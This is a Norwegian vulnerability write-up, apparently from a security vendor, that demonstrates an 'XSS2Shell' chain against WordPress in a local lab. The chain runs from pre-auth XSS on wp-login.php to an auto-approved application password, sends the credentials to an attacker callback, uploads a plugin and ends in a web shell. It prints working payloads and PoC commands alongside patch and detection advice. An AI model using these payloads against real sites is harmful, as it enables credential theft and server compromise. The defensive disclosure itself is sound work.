XSS2Shell: Fra null til shell på WordPress

En praktisk gjennomgang av en pre-autentiserings-XSS-kjede som kan eskalere til ekstern kodekjøring på WordPress Core, demonstrert i et lokalt Docker-laboratorium.

Kun autorisert testing.

Alt nedenfor ble kjørt mot et lokalt laboratorium (WordPress 7.0.2 på localhos). Ikke bruk disse teknikkene mot systemer du ikke eier eller har eksplisitt tillatelse til å teste.

Sammendrag for ledelsen

XSS2Shell er ikke én enkelt feil — det er en sjustegs utnyttelseskjede som starter med ett tegn (< etterfulgt av et mellomrom) som omgår to forskjellige HTML-parsere på WordPresss innloggingsside, og ender med PHP som kjøres på serveren som www-data.

Hva som gjør det farlig:

  1. Trinn 1 krever null autentisering — hvem som helst kan utløse JavaScript på wp-login.php.
  2. Det ligger i WordPress Core — ikke et programtillegg; praktisk talt alle støttede installasjoner siden 2016 er berørt.
  3. Det bruker WordPresss egen kode — user-profile.js, REST JSONP, applikasjonspassord, opplasting av programtillegg — som verktøy.
  4. Full RCE er demonstrert og erkjent av WordPress — selv om det krever å lure en pålogget administrator til ett klikk.

Denne artikkelen går gjennom hvert steg med skjermbilder fra vårt lokale laboratorium.

Labmiljøet

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 på http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Alle WordPress-sider eksponerer /wp-login.php. Den siden er inngangspunktet for hele kjeden.

Steg 0: Parser-differansen (rotårsak)

Når innlogging mislykkes, gjengir WordPress det innsendte brukernavnet i en feilmelding. Brukernavnet går gjennom to sanitiserere som er uenige om hva en «tag» er:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Nyttelasten bruker et mellomrom etter<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

På sårbar WordPress 7.0.2 overlever dette sanitering og blir aktivt DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

På patchet WordPress 7.0.4 er samme nyttelast HTML-escaped i feilmeldingen — ingen aktive elementer.

Denne feilen har eksistert siden WordPress 4.7 (2016) og ble oversett av flere år med sikkerhetsrevisjoner.

Steg 1: Pre-autentiserings-XSS (ingen innlogging kreves)

Injiserte DOM-noder samsvarer med selektorer som WordPresss egen user-profile.js ser etter på innloggingssiden (lastet for tilbakestilling av passord):

  1. .reset-pass-submit .wp-generate-pw klikkes automatisk ved sideinnlasting
  2. Klikket bobler opp til #color-pickers delegerte behandler
  3. Vaktsjekk user_id === checkuser_id passerer fordi begge er undefined
  4. jQuery POSTer til ajaxurl — men ajaxurl finnes ikke på innloggingssiden…

Med mindre vi overstyrer den:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Elementet <area id=ajaxurl> blir til window.ajaxurl. jQuery kaller .toString() → returnerer href. WordPress REST returnerer JSONP → jQuery globalEval() → alert()kjører på WordPress-opprinnelsen.

Stage 1 demo page
Stage 1 demo page

Send inn skjemaet (eller åpne demo/stage1-preauth-xss.html og klikk Kjør trinn 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Konsekvenser på dette trinnet alene: legitimasjonsfisking på det ekte domenet, øktkapring, same-origin API-kall — uten noen form for autentisering.

Steg 2: Sosial manipulering — adminklikket

Trinn 2–7 krever at en innlogget administrator åpner en angriper-kontrollert side. Dette er friksjonen som holder CVSS under 10 — men det er realistisk for målrettede angrep.

Administratoren kan motta: «Økten din utløp — klikk her for å autentisere på nytt.»

Simulated phishing lure page
Simulated phishing lure page

Når det klikkes, vil angripersiden:

  1. Åpner et barnepopup-vindu (about:blank)
  2. Omdirigerer hovedvinduet til WordPresss autorisasjonsside for applikasjonspassord
  3. Skriver et XSS-skjema inn i det underordnede popup-vinduet og sender det automatisk til wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Trinn 3: Same-Origin Method Execution (SOME) — automatisk godkjenning

Det underordnede vinduets XSS-nyttelast endrer JSONP-tilbakekallet fra alert til:

window.opener.approve.click

WordPress REST pakker inn svaret:

/**/window.opener.approve.click({...})

Kjøretiden løser window.opener (overordnet vindu) → .approve (#approve-knappen) → .click(). Applikasjonspassordets Godkjenn-knapp klikkes automatisk — uten brukerinteraksjon på den siden.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Legg merke til tilbakekallings-URLen på siden: legitimasjon vil bli sendt til http://127.0.0.1:9090/callback?...&password=[------].

Trinn 4: Henting av applikasjonspassord

WordPress oppretter et nytt applikasjonspassord og omdirigerer til angriperens success_url med legitimasjonen i spørringsstrengen:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Angriperen har nå HTTP Basic auth-legitimasjon for WordPress REST API — fra administratorens egen økt, uten at administratoren tastet inn noe etter det innledende lenkeklikket.

Trinn 5: Publiser angriper-kontrollert side

Ved hjelp av det stjålne applikasjonspassordet sender angriperen en POST til /wp-json/wp/v2/pages og publiserer en side med innebygd JavaScript. Administratorer har unfiltered_html-tillatelsen — script-tagger overlever.

Trinn 6: Plugin-opplasting via adminøkt

Angriperens JavaScript (som kjører i administratorens nettleser på den publiserte siden):

  1. Henter /wp-admin/plugin-install.php?tab=upload for opplastings-nonce
  2. Sender en ondsinnet ZIP via POST til /wp-admin/update.php?action=upload-plugin
  3. WordPress pakker den ut til wp-content/plugins/xss2shell/

Programtillegget trenger ikke å være aktivert. PHP-filer i programtilleggets mappe er direkte tilgjengelige via nettet.

Trinn 7: Ekstern kjøring av kode

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Svar:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Angriperen kjører nå vilkårlige kommandoer som webserveren sin bruker — les wp-config.php (databaselegitimasjon), dump databasen, beveg deg lateralt.

Fullstendig PoC-terminalutdata:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Hele kjeden i et overblikk

sequenceDiagram participant A as Angriper-server participant V as Offerets nettleser participant W as WordPress 7.0.2 Note over V,W: Admin er innlogget V->>A: Åpner phishing-lenke (1 klikk) A->>V: Angriper-HTML + barnepopup V->>W: Hovedvindu → authorize-application.php V->>W: Barn POST-er XSS-nyttelast til wp-login.php W->>V: JSONP kjører window.opener.approve.click Note over V,W: Godkjenn-knapp klikket automatisk W->>A: Omdirigering med applikasjonspassord A->>W: REST API publiserer side (Basic auth) V->>W: Admin besøker side → laster opp programtillegg ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Hvor farlig er det egentlig?

Hva er garantert (høy sikkerhet)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Hva krever ytterligere betingelser (RCE-bane)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Alvorlighetsgradjustering

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Konklusjon: Dette er ikke en ormbar zero-click RCE som Log4Shell. Det er en dyptgående teknisk sårbarhet på kjernenivå som berører ~43 % av nettet, der:

  • Trinn 1 alene er en alvorlig pre-auth XSS på innloggingssiden
  • Den fullstendige kjeden gjør ett administratorklikk om til et kompromittert serversystem
  • Rotårsaken (parser-differensial) gjelder for enhver kodebase som bruker flere HTML-parsere

WordPresss eget sikkerhetsbulletin sier at RCE krever «betingelser utenfor angriper­ens kontroll» og «vellykket sosial manipulering.» Det er nøyaktig — men den demonstrerte kjeden gjør disse betingelsene oppnåelige med én enkelt lenke.

Reproduser hele kjeden lokalt

# 1. Start lab make up # 2. Aktiver applikasjonspassord over HTTP (kun lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC-lytter python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. I nettleseren: # a. Logg inn som admin på http://localhost:9080/wp-login.php # b. Åpne http://127.0.0.1:9091/phishing-sim.html # c. Klikk «Åpne angriper-side» (tillat popup-vinduer) # d. Vent på terminalutdata som viser shell + whoami

Forsvar

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Fiksen legger til esc_html() på brukernavnet i innloggingsfeilstien — og sikrer at strengen behandles som tekst, ikke re-tolkes som HTML.

Hvorfor dette er viktig for sikkerhetsforskning

Hver lenke i kjeden er individuelt kjedelig:

  • Parser-differensial → lav alvorlighetsgrad, vedlikeholdsoppgave
  • Feil skript lastet på innloggingssiden → lav
  • JSONP-tilbakeringing validert av regex → middels
  • Applikasjonspassord i omdirigerings-URL → middels
  • Programtilleggskatalog kjører PHP uten aktivering → kjent design

Satt sammen er de CVSS 8,9 og et skall.

Lærdommen: når du vurderer XSS-funn, spør «hva er allerede lastet på denne siden, og hva vil det gjøre hvis jeg gir det de riktige DOM-nodene?» Alvorlighetsgrad er en egenskap ved kjeden, ikke den individuelle feilen.

Referanser

Spør AI om CyberTested

La ChatGPT, Gemini, Grok eller Perplexity dele det de vet. Klikk på en knapp og se hva din favoritt-AI sier om CyberTested.

Velg region og språk

Region
Språk
Vil du se CyberTested i praksis?
Bestill en gratis demonstrasjon